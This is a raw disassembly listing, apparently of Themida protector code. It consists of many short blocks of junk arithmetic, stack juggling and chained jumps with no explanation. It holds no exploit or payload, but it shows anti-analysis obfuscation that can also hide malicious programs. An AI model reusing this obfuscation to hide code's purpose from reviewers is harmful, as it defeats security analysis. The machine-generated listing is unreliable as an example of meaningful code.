pop ebx
pop ebp
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
cmp ecx, eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58EB78: ; CODE XREF: Themida_:0059CA03j
push ebx
jmp loc_5A0CBF
; ---------------------------------------------------------------------------
loc_58EB7E: ; CODE XREF: Themida_:005941B3j
mov [esp], ebp
mov ebp, esp
push esi
jmp loc_594D6D
; ---------------------------------------------------------------------------
loc_58EB89: ; CODE XREF: Themida_:00593603j
push edi
; ---------------------------------------------------------------------------
dw 0D68h
; ---------------------------------------------------------------------------
push esi
locret_58EB8D: ; CODE XREF: Themida_:0057C1C0j
iret
; ---------------------------------------------------------------------------
push edx
pop edi
shr edi, 6
shr edi, 4
sub edi, 0EAB0AB79h
jmp loc_592D8F
; ---------------------------------------------------------------------------
loc_58EBA1: ; CODE XREF: Themida_:0059E891j
push ebp
sub esp, 4
mov [esp], esi
jmp loc_59073B
; ---------------------------------------------------------------------------
loc_58EBAD: ; CODE XREF: Themida_:0059AC54j
xor dl, al
pop ax
jmp loc_5959D7
; ---------------------------------------------------------------------------
loc_58EBB6: ; CODE XREF: Themida_:00592C88j
mov edi, 0A6708C44h
sub ecx, edi
pop edi
sub edx, ecx
pop ecx
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58EBC6: ; CODE XREF: Themida_:005957EDj
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
loc_58EBD9: ; CODE XREF: Themida_:0057C20Cj
mov edi, 4
add edx, edi
pop edi
push ebx
jmp loc_59425C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E30
loc_58EBE7: ; CODE XREF: sub_592E30+4002j
pop esi
sub esi, ebp
pop ebp
push ebp
mov ebp, 7BD67CE8h
shl ebp, 4
shr ebp, 8
neg ebp
not ebp
add ebp, 706606BEh
add ebp, 966ECF97h
jmp loc_5A08EF
; END OF FUNCTION CHUNK FOR sub_592E30
; ---------------------------------------------------------------------------
loc_58EC0C: ; CODE XREF: Themida_:00595EC3j
push 26706A19h
jmp loc_59D7D8
; ---------------------------------------------------------------------------
loc_58EC16: ; CODE XREF: Themida_:00595B9Ej
dec edi
jmp loc_5934E1
; ---------------------------------------------------------------------------
loc_58EC1C: ; CODE XREF: Themida_:005A2822j
push ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
push edi
mov edi, 4
add ecx, 30C93024h
add ecx, edi
sub ecx, 30C93024h
pop edi
xor ecx, [esp]
xor [esp], ecx
jmp loc_59719E
; ---------------------------------------------------------------------------
loc_58EC51: ; CODE XREF: Themida_:005A15C1j
mov eax, 6AB0918h
inc eax
or eax, 72D7076Fh
add eax, 1
xchg eax, esi
not esi
jmp loc_592124
; ---------------------------------------------------------------------------
loc_58EC67: ; CODE XREF: Themida_:00598598j
push ebx
mov ebx, 733A11FEh
shl ebx, 1
not ebx
sub ebx, 198BDBFFh
add eax, ebx
mov ebx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edi
jmp loc_58F332
; ---------------------------------------------------------------------------
loc_58EC98: ; CODE XREF: Themida_:005A11C2j
pop ebp
pop eax
push ebp
mov ebp, 4
add edx, ebp
mov ebp, [esp]
push edx
mov edx, esp
jmp loc_598F10
; ---------------------------------------------------------------------------
loc_58ECAD: ; CODE XREF: Themida_:00598250j
sub edi, 71C4479Fh
add edi, 51840BCCh
add edi, ebx
sub edi, 51840BCCh
jmp loc_5911B2
; ---------------------------------------------------------------------------
loc_58ECC6: ; CODE XREF: Themida_:005A2E07j
mov edx, 205A688Fh
xor ebp, edx
pop edx
jmp loc_59ED9D
; ---------------------------------------------------------------------------
loc_58ECD3: ; CODE XREF: Themida_:0059180Dj
or esi, 1E2D1FBDh
add esi, 57522592h
not esi
sub esi, 54652D3Fh
add ebx, esi
pop esi
sub ebx, eax
push eax
mov eax, 59BA5C3Eh
dec eax
jmp loc_59D1A9
; ---------------------------------------------------------------------------
loc_58ECF8: ; CODE XREF: Themida_:005A2264j
sub dword ptr [esp+8], 1FE86CE9h
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 56BDh
mov [esp], ebx
jmp loc_59470F
; ---------------------------------------------------------------------------
loc_58ED19: ; CODE XREF: Themida_:00598F8Cj
push eax
mov ah, 17h
jmp loc_59BB37
; ---------------------------------------------------------------------------
loc_58ED21: ; CODE XREF: Themida_:005929D3j
xor cl, 27h
not cl
xor cl, 0CBh
add al, 0ADh
add al, cl
sub al, 0ADh
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_58E86D
; ---------------------------------------------------------------------------
loc_58ED40: ; CODE XREF: Themida_:005915F9j
push esi
mov esi, 0EAE4D7F8h
mov edx, esi
pop esi
mov edi, edx
pop edx
add ebx, edi
push dword ptr [esp]
pop edi
add esp, 4
xor eax, ebx
pop ebx
push 565Dh
mov [esp], esi
push edx
push ebx
mov ebx, 569D35E8h
jmp loc_59FAA3
; ---------------------------------------------------------------------------
loc_58ED6F: ; CODE XREF: Themida_:0059E582j
push 5DC7h
jmp loc_598655
; ---------------------------------------------------------------------------
loc_58ED79: ; CODE XREF: Themida_:0059E330j
add ebx, edx
jmp loc_597A8A
; ---------------------------------------------------------------------------
loc_58ED80: ; CODE XREF: Themida_:005A0F14j
popf
jmp locret_59200C
; ---------------------------------------------------------------------------
loc_58ED86: ; CODE XREF: Themida_:00595E16j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_591C69
; ---------------------------------------------------------------------------
loc_58ED98: ; CODE XREF: Themida_:005996C1j
push dword ptr [esp]
pop edx
push 54B0h
mov [esp], edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], ebp
jmp loc_595BD6
; ---------------------------------------------------------------------------
loc_58EDB7: ; CODE XREF: Themida_:005958E0j
mov ebx, 0
jmp loc_59F62B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_58EDC1: ; CODE XREF: sub_5A1999-B8B9j
pop dword ptr [esp+0]
pop esp
mov [esp-8+arg_4], eax
jmp loc_5999DA
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_58EDCD: ; CODE XREF: Themida_:0059ECC6j
add ebx, 4
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_59A911
; ---------------------------------------------------------------------------
loc_58EDE4: ; CODE XREF: Themida_:00598701j
pop eax
jmp loc_5A1448
; ---------------------------------------------------------------------------
loc_58EDEA: ; CODE XREF: Themida_:005931D9j
push ebx
push dword ptr [esp+4]
jmp loc_59A6F0
; ---------------------------------------------------------------------------
loc_58EDF4: ; CODE XREF: Themida_:005A2F87j
mov ebx, [esp]
add esp, 4
push esi
mov esi, 7E2B3044h
push eax
push 20C7752Fh
pop eax
not eax
neg eax
shl eax, 4
xor eax, 8D1CDF80h
mov ebx, eax
pop eax
sub ebx, esi
jmp loc_591A4A
; ---------------------------------------------------------------------------
loc_58EE1D: ; CODE XREF: Themida_:005A2500j
jmp loc_58E353
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_58EE22: ; CODE XREF: sub_590877-92Dj
push esp
jmp loc_594DEE
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_58EE28: ; CODE XREF: Themida_:005A1A3Aj
push 1DB2h
mov [esp], edx
jmp loc_593448
; ---------------------------------------------------------------------------
loc_58EE35: ; CODE XREF: Themida_:00598AFAj
mov edi, 0A75600Fh
push 455h
mov [esp], ebp
mov ebp, 0
add ebp, 554F4EFFh
jmp loc_59FB57
; ---------------------------------------------------------------------------
loc_58EE52: ; CODE XREF: Themida_:00599052j
mov eax, 67186B57h
push edx
mov edx, 63BB6011h
sub eax, edx
pop edx
xchg eax, esi
neg esi
xchg eax, esi
xor eax, 55006942h
shl eax, 8
jmp loc_59A296
; ---------------------------------------------------------------------------
loc_58EE71: ; CODE XREF: Themida_:0059631Cj
dec edx
xor edx, 5AC7120Fh
add edx, 4AAE173Ah
shr edx, 5
shl edx, 8
jmp loc_595F29
; ---------------------------------------------------------------------------
loc_58EE89: ; CODE XREF: Themida_:005A2CBEj
add esi, 3A4E1485h
jmp loc_58F29E
; ---------------------------------------------------------------------------
loc_58EE94: ; CODE XREF: Themida_:0059F18Ej
push 2B62h
mov [esp], esi
jmp loc_59A001
; ---------------------------------------------------------------------------
loc_58EEA1: ; CODE XREF: Themida_:005A0BBEj
push 1C7h
mov [esp], eax
mov eax, 0
add eax, edx
xor [eax], ebx
pop eax
mov edx, [esp]
add esp, 4
xor ebx, [edi+24h]
jmp loc_596681
; ---------------------------------------------------------------------------
loc_58EEC1: ; CODE XREF: Themida_:00598523j
pop eax
sub esp, 4
mov [esp], edi
push esp
pop edi
add edi, 4
push 7DF2h
mov [esp], ecx
push esi
jmp loc_596744
; ---------------------------------------------------------------------------
loc_58EEE1: ; CODE XREF: Themida_:005A2681j
bt [esp], eax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_58EEEB: ; CODE XREF: Themida_:00592105j
and ecx, 43697B25h
sub ecx, 0E96C1910h
mov eax, ecx
jmp loc_59FCE2
; ---------------------------------------------------------------------------
loc_58EEFE: ; CODE XREF: Themida_:005A11D1j
add esp, 4
shl edx, 4
add edx, 748666B1h
inc edx
jmp loc_59B678
; ---------------------------------------------------------------------------
loc_58EF13: ; CODE XREF: Themida_:0059BE3Bj
sub eax, ecx
jmp loc_591687
; ---------------------------------------------------------------------------
loc_58EF1A: ; CODE XREF: Themida_:00599101j
push 4143h
mov [esp], ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_59783B
; ---------------------------------------------------------------------------
loc_58EF35: ; CODE XREF: Themida_:005A1CE6j
push edi
jmp loc_599E32
; ---------------------------------------------------------------------------
loc_58EF3B: ; CODE XREF: Themida_:005988B9j
pop dword ptr [esp]
pop esp
shr eax, 0Ch
jmp loc_58E5B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_58EF47: ; CODE XREF: sub_590877+472Fj
not edi
not edi
push ebp
mov ebp, 5FC2276Bh
or ebp, 33625C0Fh
dec ebp
inc ebp
add ebp, 4F2716C6h
sub ebp, 7A0A36F3h
add edi, ebp
pop ebp
jmp loc_5A31F8
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_58EF6D: ; CODE XREF: Themida_:0059BBC6j
push 74106232h
pop ebx
or ebx, 5727580Dh
xor ebx, 77377A3Bh
mov ebp, ebx
jmp loc_59E44B
; ---------------------------------------------------------------------------
loc_58EF86: ; CODE XREF: Themida_:0058FA8Cj
push ebp
jmp loc_58FB51
; ---------------------------------------------------------------------------
loc_58EF8C: ; CODE XREF: Themida_:005948EFj
pop edi
jmp loc_59CA1A
; ---------------------------------------------------------------------------
loc_58EF92: ; CODE XREF: Themida_:0059CA15j
push ebp
jmp loc_59E66F
; ---------------------------------------------------------------------------
loc_58EF98: ; CODE XREF: Themida_:00594E93j
mov [esp], edx
push eax
jmp loc_59AE4D
; ---------------------------------------------------------------------------
loc_58EFA1: ; CODE XREF: Themida_:005982ACj
push ecx
mov ecx, 8AE03F4h
xchg esi, ecx
not esi
xchg esi, ecx
neg ecx
sub ecx, 6C690604h
sub ecx, 809AE7C0h
push eax
mov eax, 3AB06318h
and eax, 1EB333F6h
add eax, 28EA2A6Fh
and eax, 5C392F7Ch
jmp loc_599DCD
; ---------------------------------------------------------------------------
loc_58EFD5: ; CODE XREF: Themida_:00591218j
shr ebx, 5
jmp loc_59E22E
; ---------------------------------------------------------------------------
loc_58EFDD: ; CODE XREF: Themida_:00594B89j
or ecx, ebx
pop ebx
push edi
jmp loc_59C927
; ---------------------------------------------------------------------------
push small 5AD1h
mov [esp], bx
jmp loc_59B373
; ---------------------------------------------------------------------------
loc_58EFF3: ; CODE XREF: Themida_:00599421j
push 3BE93C91h
pop ebp
xor ebp, 3BE93C95h
push ebp
pop esi
pop ebp
add ebp, esi
pop esi
jmp loc_59085B
; ---------------------------------------------------------------------------
loc_58F00A: ; CODE XREF: Themida_:0059CF7Bj
add edi, 4
jmp loc_59B63B
; ---------------------------------------------------------------------------
loc_58F015: ; CODE XREF: Themida_:0059BF08j
mov esp, [esp]
jmp loc_5911D8
; ---------------------------------------------------------------------------
loc_58F01D: ; CODE XREF: Themida_:00591960j
not eax
sub eax, 0D4EC1D03h
mov ecx, eax
pop eax
add edi, ecx
pop ecx
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_59D54B
; ---------------------------------------------------------------------------
loc_58F036: ; CODE XREF: Themida_:00596A5Fj
mov [esp], ecx
mov ecx, 4
add edi, ecx
pop ecx
push ebp
push ebx
mov ebx, 4
jmp loc_58F717
; ---------------------------------------------------------------------------
loc_58F04D: ; CODE XREF: Themida_:00597C93j
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_598646
; ---------------------------------------------------------------------------
loc_58F058: ; CODE XREF: Themida_:0059F2EEj
pop eax
push edx
mov edx, 4
add eax, edx
jmp loc_5926E4
; ---------------------------------------------------------------------------
loc_58F066: ; CODE XREF: Themida_:00594B5Aj
shr edx, 4
loc_58F069: ; CODE XREF: Themida_:0057C69Cj
not edx
sub edx, 34BF0B9Dh
jmp loc_594BCC
; ---------------------------------------------------------------------------
loc_58F076: ; CODE XREF: Themida_:00598D0Fj
pop ecx
jmp loc_59C8FE
; ---------------------------------------------------------------------------
loc_58F07C: ; CODE XREF: Themida_:0059B9B4j
sub dword ptr [esp+4], 5DB23B3Fh
jmp loc_5A2A1C
; ---------------------------------------------------------------------------
loc_58F089: ; CODE XREF: Themida_:0058FFDCj
push esi
push edx
jmp loc_59C3C3
; ---------------------------------------------------------------------------
loc_58F090: ; CODE XREF: Themida_:00596B2Fj
mov eax, 7B387895h
jmp loc_58F3B6
; ---------------------------------------------------------------------------
loc_58F09A: ; CODE XREF: Themida_:0059DD00j
push edi
mov edi, 18F47942h
xor ebx, edi
pop edi
pop edx
jmp loc_594466
; ---------------------------------------------------------------------------
loc_58F0A9: ; CODE XREF: Themida_:005A0500j
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 3B936394h
add ecx, eax
pop eax
sub ecx, esi
sub ecx, 3B936394h
add ecx, 156433D2h
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_597B4E
; ---------------------------------------------------------------------------
loc_58F0EC: ; CODE XREF: Themida_:00598AF2j
mov [esp], eax
push ecx
jmp loc_5A0529
; ---------------------------------------------------------------------------
loc_58F0F5: ; CODE XREF: Themida_:005A2C54j
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
push ebx
mov ebx, 557D6852h
not ebx
sub ebx, 0AA8297A9h
jmp loc_5A0A09
; ---------------------------------------------------------------------------
loc_58F10F: ; CODE XREF: Themida_:0059AA99j
pop dx
neg dx
neg dx
add dx, 7293h
add bx, dx
mov edx, [esp]
add esp, 4
jmp loc_59D1D3
; ---------------------------------------------------------------------------
loc_58F12A: ; CODE XREF: Themida_:0059A90Cj
mov ebx, edx
jmp loc_5900A1
; ---------------------------------------------------------------------------
loc_58F131: ; CODE XREF: Themida_:005A11ABj
mov eax, 58512BEAh
or eax, 14B32C36h
jmp loc_58F927
; ---------------------------------------------------------------------------
loc_58F140: ; CODE XREF: Themida_:005A05A2j
mov ebx, ecx
jmp loc_59F300
; ---------------------------------------------------------------------------
loc_58F147: ; CODE XREF: Themida_:0059C282j
push 7009h
mov [esp], ebx
push ecx
jmp loc_59C4D5
; ---------------------------------------------------------------------------
loc_58F155: ; CODE XREF: Themida_:00597CCAj
mov ecx, 4
sub eax, 13474E94h
push ecx
mov ecx, 3A442AEAh
jmp loc_59877F
; ---------------------------------------------------------------------------
loc_58F16A: ; CODE XREF: Themida_:005A0D4Aj
add esi, 0B3DCC4BEh
jmp loc_59B8CA
; ---------------------------------------------------------------------------
loc_58F175: ; CODE XREF: Themida_:00598079j
add eax, 4
push 32DEh
mov [esp], ebp
push 0B55h
jmp loc_590110
; ---------------------------------------------------------------------------
loc_58F18C: ; CODE XREF: Themida_:005A20ABj
add ebp, edx
pop edx
push edx
jmp loc_5981C7
; ---------------------------------------------------------------------------
loc_58F195: ; CODE XREF: Themida_:0059C659j
push 182Eh
jmp loc_594735
; ---------------------------------------------------------------------------
loc_58F19F: ; CODE XREF: Themida_:0058E9CCj
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push esi
push 5F57h
mov [esp], esp
add dword ptr [esp], 4
pop esi
push eax
jmp loc_5940A4
; ---------------------------------------------------------------------------
loc_58F1BD: ; CODE XREF: Themida_:0059BE4Aj
push 12B2h
mov [esp], ebx
mov bl, dh
mov ch, bl
pop ebx
jmp loc_59F60C
; ---------------------------------------------------------------------------
loc_58F1CF: ; CODE XREF: Themida_:005955A5j
mov esi, esp
push 1504h
jmp loc_59FFD8
; ---------------------------------------------------------------------------
loc_58F1DB: ; CODE XREF: Themida_:0059C62Cj
push esp
push dword ptr [esp]
pop ebp
add esp, 4
add ebp, 4
add ebp, 4
sub esp, 4
mov [esp], ebp
jmp loc_59F3B4
; ---------------------------------------------------------------------------
loc_58F1F7: ; CODE XREF: Themida_:00595720j
mov edx, 35D210F3h
xor edx, 21936289h
sub eax, 68C90D3Eh
add eax, edx
add eax, 68C90D3Eh
mov edx, [esp]
jmp loc_5961C1
; ---------------------------------------------------------------------------
loc_58F216: ; CODE XREF: Themida_:005941F1j
pop esi
pop ecx
push 3D3Fh
jmp loc_59DE2F
; ---------------------------------------------------------------------------
loc_58F222: ; CODE XREF: Themida_:00598FD7j
mov dh, 0B8h
not dh
inc dh
not dh
add dh, 0FAh
jmp loc_593355
; ---------------------------------------------------------------------------
loc_58F232: ; CODE XREF: Themida_:0059BEE2j
sub eax, 5110560Dh
add eax, edi
push ebx
mov ebx, 68D477D3h
sub ebx, 6AF46379h
add ebx, 4B76013Bh
inc ebx
jmp loc_59EED5
; ---------------------------------------------------------------------------
loc_58F251: ; CODE XREF: Themida_:0059F1E0j
push 3DFB6DC2h
pop esi
and esi, 76147260h
shr esi, 7
add esi, 5A880D77h
push esi
pop eax
pop esi
mov ebp, 0D2EC2337h
jmp loc_59B37D
; ---------------------------------------------------------------------------
loc_58F273: ; CODE XREF: Themida_:00591371j
mov dh, 0ADh
sub dh, 8Ah
dec dh
not dh
jmp loc_595E66
; ---------------------------------------------------------------------------
loc_58F281: ; CODE XREF: Themida_:0059CE2Ej
mov [esp], edx
mov edx, ecx
mov ebx, edx
pop edx
push dword ptr [esp]
pop ecx
add esp, 4
add esi, ebx
pop ebx
push esi
push dword ptr [esp+4]
pop esi
jmp loc_592857
; ---------------------------------------------------------------------------
loc_58F29E: ; CODE XREF: Themida_:0058EE8Fj
add eax, esi
jmp loc_59F5A5
; ---------------------------------------------------------------------------
loc_58F2A5: ; CODE XREF: Themida_:00595B64j
sub esp, 4
jmp loc_5A1E4B
; ---------------------------------------------------------------------------
loc_58F2B0: ; CODE XREF: Themida_:00595584j
neg ecx
xor ecx, 94D8D431h
jmp loc_58FD36
; ---------------------------------------------------------------------------
loc_58F2BD: ; CODE XREF: Themida_:00591926j
add ebp, 78E30566h
add ebp, eax
sub ebp, 78E30566h
push dword ptr [esp]
pop eax
push ebp
mov ebp, esp
push eax
jmp loc_597A29
; ---------------------------------------------------------------------------
loc_58F2D8: ; CODE XREF: Themida_:00598CBAj
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
push 5874h
mov [esp], ebp
mov ebp, 5DD93EE6h
push eax
push edx
mov edx, 0B6706D7h
mov eax, edx
pop edx
shl eax, 6
add eax, 0FFFFFFFFh
xor eax, 64F2C03h
shl eax, 4
push 0
sub [esp], eax
jmp loc_595ABC
; ---------------------------------------------------------------------------
loc_58F315: ; CODE XREF: Themida_:005959FAj
pop eax
push esi
mov esi, 415250ACh
shr esi, 7
or esi, 159F1385h
add esi, 577B6AD7h
sub eax, esi
jmp loc_58E75D
; ---------------------------------------------------------------------------
loc_58F332: ; CODE XREF: Themida_:0058EC93j
mov edi, 2
sub eax, 20840F02h
add eax, edi
push 11A6h
jmp loc_594835
; ---------------------------------------------------------------------------
loc_58F348: ; CODE XREF: Themida_:0059B6DAj
add esp, 4
movzx eax, al
push dword ptr [edi+eax*4]
add dword ptr [esp], 4C3F34E3h
push dword ptr [esp]
jmp loc_59187D
; ---------------------------------------------------------------------------
loc_58F363: ; CODE XREF: Themida_:005A06E6j
pop eax
or eax, 656C591Dh
add eax, 6D1947F0h
push ecx
mov ecx, 6CA144EBh
sub eax, ecx
pop ecx
mov ebp, eax
pop eax
xor eax, ebp
mov ebp, [esp]
add esp, 4
push 5716h
mov [esp], esi
jmp loc_5A1CCA
; ---------------------------------------------------------------------------
loc_58F392: ; CODE XREF: Themida_:00596C8Cj
push 205Ch
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push 7D54h
mov [esp], ebp
push edx
mov edx, 77265CC5h
push edx
jmp loc_59722C
; ---------------------------------------------------------------------------
loc_58F3B6: ; CODE XREF: Themida_:0058F095j
neg eax
add eax, 38B93D3Fh
jmp loc_5A0AD3
; ---------------------------------------------------------------------------
loc_58F3C2: ; CODE XREF: Themida_:005A30F0j
push eax
mov eax, 14084A55h
add edx, eax
pop eax
pop ecx
jmp loc_59B4A5
; ---------------------------------------------------------------------------
loc_58F3D1: ; CODE XREF: Themida_:005993C1j
push 40h
jmp loc_59CB54
; ---------------------------------------------------------------------------
loc_58F3DB: ; CODE XREF: Themida_:0059FB04j
pop esi
sub esp, 4
mov [esp], edi
mov edi, 1A41ACEh
add edx, edi
pop edi
push ebp
jmp loc_59DBD8
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebp
push esp
push dword ptr [esp]
pop ebp
add esp, 4
sub esp, 4
mov [esp], esi
jmp loc_596D24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_58F40B: ; CODE XREF: sub_590877+99B9j
add ecx, 0AC0B7552h
add edi, 132002E2h
jmp loc_59A8D1
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_58F41C: ; CODE XREF: Themida_:0059DDD5j
pop ebp
mov ebx, edi
pop edi
push edi
jmp loc_593F1C
; ---------------------------------------------------------------------------
loc_58F426: ; CODE XREF: Themida_:0059AFCEj
pop ecx
push edx
xor dword ptr [esp], 669B0A55h
jmp loc_591479
; ---------------------------------------------------------------------------
loc_58F434: ; CODE XREF: Themida_:00591013j
mov ecx, esp
add ecx, 4
add ecx, 4
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_59543A
; ---------------------------------------------------------------------------
loc_58F44D: ; CODE XREF: Themida_:005A15AEj
mov [esp], esi
push esp
pop esi
jmp loc_59D2B3
; ---------------------------------------------------------------------------
loc_58F457: ; CODE XREF: Themida_:005A0D5Bj
neg ebx
jmp loc_599444
; ---------------------------------------------------------------------------
loc_58F45E: ; CODE XREF: Themida_:0059C0B3j
sub [edi+24h], esi
push dword ptr [esp]
pop esi
push ecx
jmp loc_58FE85
; ---------------------------------------------------------------------------
loc_58F46B: ; CODE XREF: Themida_:005977F3j
mov esi, 70742FBBh
xor esi, 14DE1C57h
push edx
push ebx
mov ebx, 2CEA2EA9h
shr ebx, 6
and ebx, 187648Ah
sub ebx, 0F0BEB96Fh
mov edx, ebx
pop ebx
shl edx, 8
xor edx, 0D02B151Ah
sub esi, edx
jmp loc_5941E8
; ---------------------------------------------------------------------------
loc_58F49F: ; CODE XREF: Themida_:0058F5E0j
mov [esp], edi
sub esp, 4
mov [esp], ebp
push 3DF93051h
pop ebp
dec ebp
jmp loc_5A0028
; ---------------------------------------------------------------------------
loc_58F4B7: ; CODE XREF: Themida_:0059560Bj
sub ah, 38h
xor ah, 0Eh
add dh, ah
jmp loc_59DDF8
; ---------------------------------------------------------------------------
loc_58F4C4: ; CODE XREF: Themida_:0059D157j
mov edx, 971449Ah
push ebp
mov ebp, 2BD73758h
or ebp, 2F476364h
add ebp, 4AF440Fh
jmp loc_595092
; ---------------------------------------------------------------------------
loc_58F4E0: ; CODE XREF: Themida_:005A1C91j
push 331Fh
mov [esp], ebx
mov ebx, 66B7727h
push 551Ch
mov [esp], edi
mov edi, esp
push ecx
mov ecx, 331336A8h
sub ecx, 331336A4h
jmp loc_593B0F
; ---------------------------------------------------------------------------
loc_58F508: ; CODE XREF: Themida_:00593212j
add esi, 1E585713h
pop ebx
jmp loc_5A1681
; ---------------------------------------------------------------------------
loc_58F514: ; CODE XREF: Themida_:0059B3B9j
add esp, 4
push ebx
jmp loc_590AD9
; ---------------------------------------------------------------------------
loc_58F51D: ; CODE XREF: Themida_:0059E10Bj
mov [esp], ecx
mov cl, 99h
mov dh, cl
pop ecx
push 63A9h
mov [esp], eax
jmp loc_5A0823
; ---------------------------------------------------------------------------
loc_58F532: ; CODE XREF: Themida_:0059B9E4j
add ebp, ecx
pop ecx
jmp loc_5916D1
; ---------------------------------------------------------------------------
loc_58F53A: ; CODE XREF: Themida_:005A1661j
sub ebx, 53F569FAh
or ebx, 1D1A2FF8h
add ebx, 0C0841006h
jmp loc_595276
; ---------------------------------------------------------------------------
loc_58F551: ; CODE XREF: Themida_:005A1AE7j
push edx
push edi
jmp loc_596520
; ---------------------------------------------------------------------------
loc_58F558: ; CODE XREF: Themida_:0059E3EDj
mov [esp], edx
jmp loc_5A1082
; ---------------------------------------------------------------------------
loc_58F560: ; CODE XREF: Themida_:005A1B0Aj
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
jmp loc_58E65C
; ---------------------------------------------------------------------------
loc_58F56D: ; CODE XREF: Themida_:00598182j
pop esp
push edx
sub esp, 4
mov [esp], edi
mov edi, esp
push ecx
mov ecx, 7ACD3723h
and ecx, 7A7A10AFh
sub ecx, 553C397Dh
sub ecx, 250BD6A2h
jmp loc_591EBD
; ---------------------------------------------------------------------------
loc_58F597: ; CODE XREF: Themida_:0059BC86j
mov eax, ebx
pop ebx
push eax
mov eax, 101932BEh
add edi, eax
pop eax
sub edi, eax
push 4993h
mov [esp], esi
mov esi, 7226004Eh
sub esi, 4A66637Ch
sub esi, 54797F0Eh
dec esi
jmp loc_5910FF
; ---------------------------------------------------------------------------
loc_58F5C4: ; CODE XREF: Themida_:0059EE4Dj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_598260
; ---------------------------------------------------------------------------
loc_58F5D5: ; CODE XREF: Themida_:00597A6Dj
add esp, 4
push 17EFh
jmp loc_58F49F
; ---------------------------------------------------------------------------
loc_58F5E5: ; CODE XREF: Themida_:00594820j
add edi, eax
pop eax
push ebp
mov ebp, offset byte_5F4505
xor ebp, 2BF81894h
xor ebp, 8DC5035h
add edi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_59597E
; ---------------------------------------------------------------------------
loc_58F607: ; CODE XREF: Themida_:00593E83j
dec ebp
sub esp, 4
mov [esp], ecx
mov ecx, 4053BCCh
xor ebp, ecx
jmp loc_598CE4
; ---------------------------------------------------------------------------
loc_58F61A: ; CODE XREF: Themida_:005902EFj
mov esi, 382E2F75h
xor esi, 387A69C8h
shl esi, 5
dec esi
not esi
sub esi, 8080D233h
add ecx, esi
mov esi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop ebx
push edi
push ecx
push 1DCB5AE4h
mov ecx, [esp]
add esp, 4
sub ecx, 6AA80CE5h
shr ecx, 1
xor ecx, 5991A6FBh
jmp loc_591DF3
; ---------------------------------------------------------------------------
loc_58F667: ; CODE XREF: Themida_:00590A16j
mov [esp], edx
mov edx, 2BDD6874h
add edx, 7149354Dh
push 5013h
mov [esp], esi
mov esi, 5C176158h
jmp loc_59275D
; ---------------------------------------------------------------------------
loc_58F687: ; CODE XREF: Themida_:0059C3D3j
push 6AFEh
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_5A1003
; ---------------------------------------------------------------------------
loc_58F69B: ; CODE XREF: Themida_:0059DDC2j
dec ecx
xor ecx, 79BA1A00h
sub ecx, 798A1A81h
jmp loc_58F818
; ---------------------------------------------------------------------------
loc_58F6AD: ; CODE XREF: Themida_:00595B86j
sub bl, 74h
sub bl, 22h
shl bl, 6
add bl, 8Fh
push cx
mov ch, 0F2h
add al, ch
pop cx
jmp loc_594480
; ---------------------------------------------------------------------------
loc_58F6C6: ; CODE XREF: Themida_:005A3155j
add esi, 0CA85908Ah
mov eax, esi
pop esi
push eax
jmp loc_598BE3
; ---------------------------------------------------------------------------
loc_58F6D5: ; CODE XREF: Themida_:0059ED4Cj
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
or edx, eax
jmp loc_59C0B8
; ---------------------------------------------------------------------------
loc_58F6F6: ; CODE XREF: Themida_:005927E9j
push dword ptr [esp]
jmp loc_59E3C4
; ---------------------------------------------------------------------------
loc_58F6FE: ; CODE XREF: Themida_:00592EC1j
mov esi, 26581BBDh
dec esi
jmp loc_599237
; ---------------------------------------------------------------------------
loc_58F709: ; CODE XREF: Themida_:00593C8Dj
mov bx, [esp]
push 3354h
jmp loc_5940EE
; ---------------------------------------------------------------------------
loc_58F717: ; CODE XREF: Themida_:0058F048j
mov ebp, ebx
pop ebx
sub edi, 3AAD761Fh
add edi, ebp
add edi, 3AAD761Fh
